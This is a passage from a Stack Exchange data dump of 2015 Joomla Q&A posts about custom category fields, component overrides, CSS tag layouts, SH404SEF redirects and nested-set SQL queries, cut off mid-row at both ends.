BY-SA 3.0" />
  <row Id="12387" PostTypeId="1" AcceptedAnswerId="12388" CreationDate="2015-08-31T07:44:22.947" Score="2" ViewCount="1729" Body="&lt;p&gt;I have a component which mainly deals with Joomla content articles. &#xA;I want to add custom fields to Joomla core category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any chance to add custom fields into category through a plugin or any other way? Can anyone help me ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="126" LastEditDate="2015-08-31T08:38:45.707" LastActivityDate="2015-08-31T08:56:57.277" Title="Adding custom fields to com_content category" Tags="|joomla-3.x|component|category|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12388" PostTypeId="2" ParentId="12387" CreationDate="2015-08-31T08:29:17.813" Score="4" Body="&lt;p&gt;Yes, you can add custom fields to the com_content (category? I assume you intend component?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&#xA;&lt;a href=&quot;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&quot; rel=&quot;nofollow&quot;&gt;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a plugin as described here and then, simply via xml add the fields you desire, take a look here for the field types you can add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards, you can add the fields in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Hmmmm.... or do you intend you want to extend the categories component?&#xA;That is also possible, you just have to make a minor modification in the plugin i mentioned above:&#xA;Inside the plugins main php file, instead of writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($option) {&#xA;        case 'com_contact':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($option) {&#xA;        case 'com_categories':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it  ;-)&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="5783" LastEditDate="2015-08-31T08:56:57.277" LastActivityDate="2015-08-31T08:56:57.277" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12389" PostTypeId="1" CreationDate="2015-08-31T09:00:48.603" Score="5" ViewCount="1168" Body="&lt;p&gt;Is it possible to override the com_users save function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I tried so far...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo JPATH_SITE.'/components/com_users/models/profile.php';&#xA;require_once JPATH_SITE.'/components/com_users/models/profile.php';&#xA;&#xA;class NbrealUsersModelProfile extends UsersModelProfile{&#xA;    public function save($data){&#xA;        die(&quot;it works&quot;);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this on the template index file..&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-09-16T22:49:17.777" Title="Override com_users model function save" Tags="|overrides|model|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostTypeId="1" AcceptedAnswerId="12391" CreationDate="2015-08-31T10:13:28.477" Score="0" ViewCount="46" Body="&lt;p&gt;I called a SP Simple Portfolio module from SP Page Builder but it shows this error, but when any other module is called it works fine&lt;a href=&quot;https://i.stack.imgur.com/rQ0Ck.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQ0Ck.png&quot; alt=&quot;Get this message whenever i call a module for Simple Portfolio in my SP Page Builder&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5829" LastActivityDate="2015-08-31T10:31:03.263" Title="Error on module call" Tags="|component|module|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12391" PostTypeId="2" ParentId="12390" CreationDate="2015-08-31T10:31:03.263" Score="0" Body="&lt;p&gt;You need check if your module was correct version for your joomla version. &#xA;This error shows that the structure of your database is at odds with the installed version of your module. Make sure this module is for the version of Joomla you are using.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-31T10:31:03.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12392" PostTypeId="1" CreationDate="2015-08-31T11:48:41.903" Score="2" ViewCount="115" Body="&lt;p&gt;Joomla uses &lt;a href=&quot;https://docs.joomla.org/Using_nested_sets&quot; rel=&quot;nofollow&quot;&gt;Nested Sets&lt;/a&gt; to represent the category structure &lt;code&gt;JTableCategory&lt;/code&gt; and the menu structure &lt;code&gt;JTableMenu&lt;/code&gt;. Therefore these classes inherit the &lt;code&gt;JTableNested&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JTableCategory extends JTableNested&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JTableMenu extends JTableNested&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why isn't this concept of Nested Sets also used for &lt;code&gt;JTableUsergroup&lt;/code&gt;?&#xA;The database table &lt;code&gt;#__usergroups&lt;/code&gt; is prepared to represent a Nested Set but the code of the &lt;code&gt;JTableUsergroup&lt;/code&gt; class inherits &lt;code&gt;JTable&lt;/code&gt; and does not use locking for operations nor rebuilds the nested set tree when deleting a user group.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-08-31T11:48:41.903" Title="Why isn't JTableUsergroup implemented as nested set inheriting JTableNested?" Tags="|joomla-3.x|joomla-user-groups|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12393" PostTypeId="1" CreationDate="2015-08-31T13:38:26.437" Score="0" ViewCount="95" Body="&lt;p&gt;I did something wrong with my joomla based page. When I go to /administration/ I have only message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There are important post-installation messages that require your attention. To view those messages please click on the Review Messages button below.&#xA;&#xA;You can review the messages at any time by clicking on the Components, Post-installation messages menu item of your site's Administrator section. This information area won't appear when you have hidden all messages.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And no more any buttons and menus. How to get back administration environment?&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2016-12-23T18:21:14.950" Title="Administration menu escaped" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12394" PostTypeId="1" CreationDate="2015-08-31T15:45:05.597" Score="1" ViewCount="446" Body="&lt;p&gt;I'd like to access category parameters in mod_articles_categories - Each time needed parameters should be loaded from category assigned to module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into module's php but there's nothing for category, there's just list of children.&lt;/p&gt;&#xA;" OwnerUserId="5825" LastEditorUserId="126" LastEditDate="2015-08-31T17:07:11.713" LastActivityDate="2015-08-31T17:07:11.713" Title="Load category parameters in mod_articles_categories" Tags="|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostTypeId="2" ParentId="12394" CreationDate="2015-08-31T15:53:26.337" Score="1" Body="&lt;p&gt;OK, I have figured it out going little round the corner. Isn't there any easier way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.helper');&#xA;$categories = JCategories::getInstance('Content', $options);&#xA;$category   = $categories-&amp;gt;get($params-&amp;gt;get('parent', 'root'));&#xA;$attr = json_decode($category-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2015-08-31T15:53:26.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12397" PostTypeId="2" ParentId="12386" CreationDate="2015-08-31T18:31:29.120" Score="1" Body="&lt;p&gt;Maybe an active session (not closed properly) in the Joomla! sessions table is the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to cPanel.&lt;/li&gt;&#xA;&lt;li&gt;Access the database using PHPmyAdmin.&lt;/li&gt;&#xA;&lt;li&gt;Delete all the user sessions from the sessions table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="65" LastActivityDate="2015-08-31T18:31:29.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12398" PostTypeId="1" AcceptedAnswerId="12399" CreationDate="2015-08-31T22:45:36.307" Score="0" ViewCount="33" Body="&lt;p&gt;I'd like to be able to click on a tag and only view the intro image, and the title. I'm hoping there is simple way to do this. I can handle an override if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5834" LastActivityDate="2015-08-31T23:07:14.283" Title="Remove Intro and Full Text in Tag Views" Tags="|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12399" PostTypeId="2" ParentId="12398" CreationDate="2015-08-31T23:07:14.283" Score="0" Body="&lt;p&gt;Boom!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tag-category .list-striped li img {&#xA;    max-width: 10%;&#xA;    width:100% !important;&#xA;}&#xA;&#xA;.tag-body {&#xA;  display:none&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The top part reduced the intro image, although I could have just started with a smaller intro image to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="5834" LastActivityDate="2015-08-31T23:07:14.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12400" PostTypeId="1" AcceptedAnswerId="12405" CreationDate="2015-09-01T01:20:10.830" Score="3" ViewCount="425" Body="&lt;p&gt;I'd love to know how I can create Joomla tags in two columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of what I have:&#xA;&lt;a href=&quot;http://visualedgehosting.com/dfw-chimera/leadership/&quot; rel=&quot;nofollow&quot;&gt;http://visualedgehosting.com/dfw-chimera/leadership/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help in advance,&lt;/p&gt;&#xA;" OwnerUserId="5834" LastEditorUserId="126" LastEditDate="2015-09-01T08:48:36.180" LastActivityDate="2015-09-02T13:58:25.357" Title="Joomla Tags in 2 Columns - RocketTheme Template" Tags="|templates|css|tags|layout|gantry|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12401" PostTypeId="2" ParentId="12400" CreationDate="2015-09-01T04:22:23.090" Score="1" Body="&lt;p&gt;There may be some clearer option in your template, but you could add the following lines to your CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   .tag-category .list-striped li img {&#xA;        max-width: 25% !important;&#xA;        width: 100% !important;&#xA;   }&#xA;&#xA;   .list-striped li, .list-striped dd, .row-striped .row, .row-striped .row-fluid {&#xA;        display: inline-block !important;&#xA;        width: 47% !important;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure this CSS is loaded after your template providers CSS&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="126" LastEditDate="2015-09-01T08:42:58.903" LastActivityDate="2015-09-01T08:42:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostTypeId="2" ParentId="10389" CreationDate="2015-09-01T04:31:46.007" Score="2" Body="&lt;p&gt;I don't know if there is a better way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has been developed more in a historic way, whereas both Symfony1 and 2 had a clean slate approach. They are also build for different purposes, Joomla's purpose is much more narrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that most major template developer have created their own framework, this shows there is more work to be done at the Joomla end, however judging from the roadmaps, this is not a priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have build a wrapper component to run Symfony1 inside Joomla, but nothing as of yet for Symfony2. Want to work on it together?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-09-01T04:31:46.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12403" PostTypeId="2" ParentId="12389" CreationDate="2015-09-01T04:33:49.063" Score="3" Body="&lt;p&gt;This docs page should help you with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: this does not work on its own, instead you need to create a plugin for your overridden controller:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There may be times when you need to override the Joomla! MVC Component to add new functionality or to completely customise the component. The MVC component can be completely overridden by using the same class names that are used in the component. This is achieved by loading a system plugin before the component is dispatched by the application.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can create your own plugin to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemComContentOverride extends JPlugin {&#xA;  public function __construct(&amp;amp;$subject, $config = array()) {&#xA;     parent::__construct($subject, $config);&#xA; }&#xA;&#xA; public function onAfterRoute() {&#xA;     $app = JFactory::getApplication();&#xA;     if('com_content' == JRequest::getCMD('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;         require_once(dirname(__FILE__) . '/comcontentoverride/my_content_controller.php');&#xA;     }&#xA; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in your case you need to modify it to something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemComContentOverride extends JPlugin {&#xA;  public function __construct(&amp;amp;$subject, $config = array()) {&#xA;     parent::__construct($subject, $config);&#xA; }&#xA;&#xA; public function onAfterRoute() {&#xA;     $app = JFactory::getApplication();&#xA;     if('com_user' == JRequest::getCMD('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;         require_once(dirname(__FILE__) . '/../../templates/{template_name}/code/com_users/profile.php');&#xA;     }&#xA; } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2015-09-16T22:49:17.777" LastActivityDate="2015-09-16T22:49:17.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12404" PostTypeId="2" ParentId="1" CreationDate="2015-09-01T08:30:17.293" Score="3" Body="&lt;p&gt;There is also a way to execute queries which contain subqueries using the Joomla Platform API.&#xA;The basic idea on how to use subqueries is based on &lt;a href=&quot;https://gist.github.com/gunjanpatel/8663333&quot; rel=&quot;nofollow&quot;&gt;gunjanpatel&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example for executing queries on &lt;a href=&quot;http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/&quot; rel=&quot;nofollow&quot;&gt;Nested Set Models&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Find the Immediate Subordinates of a Node&#xA;SELECT node.title, (COUNT(parent.id) - (sub_tree.depth + 1)) AS depth&#xA;FROM lubd3_usergroups AS node,&#xA;        lubd3_usergroups AS parent,&#xA;        lubd3_usergroups AS sub_parent,&#xA;        (&#xA;                SELECT node.id, (COUNT(parent.id) - 1) AS depth&#xA;                FROM lubd3_usergroups AS node,&#xA;                        lubd3_usergroups AS parent&#xA;                WHERE node.lft BETWEEN parent.lft AND parent.rgt&#xA;                        AND node.id = 1&#xA;                GROUP BY node.id&#xA;                ORDER BY node.lft&#xA;        )AS sub_tree&#xA;WHERE node.lft BETWEEN parent.lft AND parent.rgt&#xA;        AND node.lft BETWEEN sub_parent.lft AND sub_parent.rgt&#xA;        AND sub_parent.id = sub_tree.id&#xA;GROUP BY node.id&#xA;-- not showing the parent node&#xA;HAVING depth = 1&#xA;-- showing the parent node&#xA;-- HAVING depth &amp;lt;= 1&#xA;ORDER BY node.lft;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the transformed query to be executed by Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create the subQuery select statement.&#xA;// Nested Set Queries: http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/&#xA;// CROSS JOIN: http://www.informit.com/articles/article.aspx?p=30875&amp;amp;seqNum=5&#xA;$subQuery-&amp;gt;select(array('node.id', '(COUNT(parent.id) - 1) AS depth'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__usergroups') . 'node')&#xA;    -&amp;gt;join('CROSS', $db-&amp;gt;quoteName('#__usergroups', 'parent'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('node.lft') . ' BETWEEN  ' . $db-&amp;gt;quoteName('parent.lft') . ' AND ' . $db-&amp;gt;quoteName('parent.rgt') . ' AND ' . $db-&amp;gt;quoteName('node.id') . ' = ' . $db-&amp;gt;quote('1'))&#xA;    -&amp;gt;group($db-&amp;gt;quoteName('node.id'))&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('node.lft'));&#xA;&#xA;// Create the base select statement.&#xA;$query-&amp;gt;select(array('node.title', '(COUNT(parent.id) - (sub_tree.depth + 1)) AS depth'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__usergroups') . 'node')&#xA;    -&amp;gt;join('CROSS', $db-&amp;gt;quoteName('#__usergroups', 'parent'))&#xA;    -&amp;gt;join('CROSS', $db-&amp;gt;quoteName('#__usergroups', 'sub_parent'))&#xA;    -&amp;gt;join('CROSS', '(' . $subQuery .') AS sub_tree')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('node.lft') . ' BETWEEN  ' . $db-&amp;gt;quoteName('parent.lft') . ' AND ' . $db-&amp;gt;quoteName('parent.rgt')&#xA;    . ' AND ' . $db-&amp;gt;quoteName('node.lft') . ' BETWEEN  ' . $db-&amp;gt;quoteName('sub_parent.lft') . ' AND ' . $db-&amp;gt;quoteName('sub_parent.rgt')&#xA;    . ' AND ' . $db-&amp;gt;quoteName('sub_parent.id') . ' = ' . $db-&amp;gt;quoteName('sub_tree.id'))&#xA;    -&amp;gt;group($db-&amp;gt;quoteName('node.id'))&#xA;    -&amp;gt;having($db-&amp;gt;quoteName('depth') . ' = ' . $db-&amp;gt;quote('1'))&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('node.lft'));&#xA;&#xA;// Set the query and load the result.&#xA;$db-&amp;gt;setQuery($query);&#xA;$rowList = $db-&amp;gt;loadAssocList();&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($rowList);&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-09-01T08:30:17.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12405" PostTypeId="2" ParentId="12400" CreationDate="2015-09-01T08:42:42.633" Score="1" Body="&lt;p&gt;You are using a &lt;strong&gt;RocketTheme template&lt;/strong&gt;, and I see there is already a &lt;strong&gt;custom.css&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/rt_chimera/css/rt_chimera-custom.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following css is an example you can use as starting base, to give the layout you want on that page. Place this code, at the end of your &lt;strong&gt;rt_chimera-custom.css&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tag-category .list-striped li {&#xA;    width: 45%;&#xA;    float: left;&#xA;}&#xA;.tag-category .list-striped li.cat-list-row0 {&#xA;    margin-right: 3%;&#xA;}&#xA;&#xA;.tag-category .list-striped li img {&#xA;    width: 100% !important;&#xA;    max-width: 100% !important;&#xA;    margin: 0;&#xA;    padding: 8px 15px 8px 0px;&#xA;    -moz-box-sizing: border-box;&#xA;    -webkit-box-sizing: border-box;&#xA;    box-sizing: border-box;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-01T11:30:51.607" LastActivityDate="2015-09-01T11:30:51.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostTypeId="1" AcceptedAnswerId="12407" CreationDate="2015-09-01T09:35:06.217" Score="1" ViewCount="1761" Body="&lt;p&gt;In my site I have installed &lt;strong&gt;SH404SEF&lt;/strong&gt;. For my homepage, I use a &lt;strong&gt;Single-Article menu item&lt;/strong&gt; that holds an article with title &lt;strong&gt;Home Page&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am getting an issue with duplicate homepage URLs. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first one is the &lt;strong&gt;&lt;code&gt;www.example.com&lt;/code&gt;&lt;/strong&gt;   &lt;/li&gt;&#xA;&lt;li&gt;The second is another one that SH404SEF creates, for the home-menu-item /article, with url: &lt;strong&gt;&lt;code&gt;www.example.com/home-page&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am trying to find a way to redirect this second home-page url to the root, but I can't find the way to do this in SH404SEF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to redirect the &lt;code&gt;www.example.com/home-page&lt;/code&gt; to &lt;code&gt;www.example.com&lt;/code&gt; with SH404SEF?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-07-06T12:55:58.800" Title="SH404SEF : How to redirect a URL to home?" Tags="|joomla-3.4|url|sef|seo|sh404sef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12407" PostTypeId="2" ParentId="12406" CreationDate="2015-09-01T09:35:06.217" Score="2" Body="&lt;p&gt;It's a bit tricky to do this redirection in SH404SEF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the practical steps to achieve that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;strong&gt;SH404SEF URL Manager&lt;/strong&gt;, find the SEF urls of the page that you want to redirect to homepage. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Write&lt;/strong&gt; them down, to another file if there are more than 1, or if it's just a single one, copy it at the clipboard.  (e.g. copy paste to a text file).&lt;/li&gt;&#xA;&lt;li&gt;Now &lt;strong&gt;delete&lt;/strong&gt; those (the ones that want to add to the home page redirection) &lt;strong&gt;SEF URLs&lt;/strong&gt; and their &lt;strong&gt;duplicates&lt;/strong&gt; from SH404SEF urls list.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;strong&gt;SH404SEF Toolbar&lt;/strong&gt;, there is a button &quot;&lt;strong&gt;Home Page Meta&lt;/strong&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;A Modal window opens. This holds data for the homepage.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;&lt;strong&gt;Aliases&lt;/strong&gt;&quot; Tab.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Aliases textarea field&lt;/strong&gt;, enter the SEF urls you kept from step2 above. One url per line.&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;&lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You are done.&lt;br&gt;&#xA;SH404SEF will re-create the same SEF URLs for the article you have assigned to your homepage, but this time it will be an alias of the actual home-page, resulting to a redirection to the index page of your site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-06T12:55:58.800" LastActivityDate="2016-07-06T12:55:58.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12408" PostTypeId="1" CreationDate="2015-09-01T10:08:22.593" Score="0" ViewCount="399" Body="&lt;p&gt;I wanted to fix the database because I couldn't install some modules that I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went to &lt;strong&gt;Extension Manager -&gt; Database&lt;/strong&gt;, but when I clicked on Database, I got this Error appearing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SQL = SHOW COLUMNS IN '#__updates' WHERE field = 'infourl'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OF6mU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OF6mU.jpg&quot; alt=&quot;Joomla Fix Database Errors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to mention that I migrated my site from Joomla! 2.5 to 3, and I got almost everything working except these few errors. &lt;/p&gt;&#xA;" OwnerUserId="5214" LastEditorUserId="126" LastEditDate="2015-09-01T10:30:03.180" LastActivityDate="2015-11-20T14:16:05.387" Title="Error when trying to fix database in Joomla! 3" Tags="|joomla-3.x|joomla-2.5|extensions|database|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12410" PostTypeId="1" AcceptedAnswerId="12413" CreationDate="2015-09-01T14:42:33.383" Score="2" ViewCount="486" Body="&lt;p&gt;I would like to extend my getListQuery-method. At the moment I choose data from mysql like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(*);&#xA;$query-&amp;gt;from('`#__hero_invoices` AS a');&#xA;&#xA;// Join over the invoice-data&#xA;$query-&amp;gt;select(&quot;SUM(ip.factor * ip.value) as totalsum&quot;);&#xA;$query-&amp;gt;join(&quot;LEFT&quot;, &quot;#__hero_invoices_positions AS ip ON ip.invoiceid=a.id&quot;);                 &#xA;&#xA;// Join over the ordermapping-data&#xA;$query-&amp;gt;select(&quot;om.orderid&quot;);&#xA;$query-&amp;gt;join(&quot;LEFT&quot;, &quot;#__hero_invoices_mapping AS om ON om.invoiceid=a.id&quot;);&#xA;&#xA;// Join over the order-data&#xA;$query-&amp;gt;select(&quot;o.userid as userid&quot;);&#xA;$query-&amp;gt;join(&quot;LEFT&quot;, &quot;#__hero_orders AS o ON o.id=om.orderid&quot;); &#xA;&#xA;// Join over the customer-data&#xA;$query-&amp;gt;select(&quot;c.lastname as customer_lastname, c.firstname as customer_firstname, c.company as customer_company&quot;);&#xA;$query-&amp;gt;join(&quot;LEFT&quot;, &quot;#__hero_customers AS c ON c.userid=o.userid&quot;);        &#xA;&#xA;// Join over the users for the checked out user&#xA;$query-&amp;gt;select(&quot;uc.name AS editor&quot;);&#xA;$query-&amp;gt;join(&quot;LEFT&quot;, &quot;#__users AS uc ON uc.id=a.checked_out&quot;);&#xA;&#xA;// Join over the user field 'created_by'&#xA;$query-&amp;gt;select('created_by.name AS created_by');&#xA;$query-&amp;gt;join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well - now I would like to get information from another model for every result I get AND I would like to still use the sorting-methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first try was to use getListQuery and overwrite getItems() like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * getItems function.&#xA; * &#xA; * @access public&#xA; * @return void&#xA; */&#xA;public function getItems() &#xA;{&#xA;    $modelinvoice           =       JModelLegacy::getInstance( 'Invoice', 'HeroModel' );&#xA;&#xA;    $items                  =       parent::getItems();&#xA;&#xA;&#xA;    foreach($items as $item)&#xA;    {&#xA;        $invoice            =   $modelinvoice-&amp;gt;getItem($item-&amp;gt;id);&#xA;        $item-&amp;gt;totalsum     =   $invoice-&amp;gt;totalsum;&#xA;    }&#xA;&#xA;&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine - the view can access &quot;totalsum&quot;, but of course I can not use sorting and searching for this pseudo-field using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('searchtools.sort', 'COM_HERO_HEADING_TOTALSUM', 'a.totalsum', $listDirn, $listOrder);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas to solve 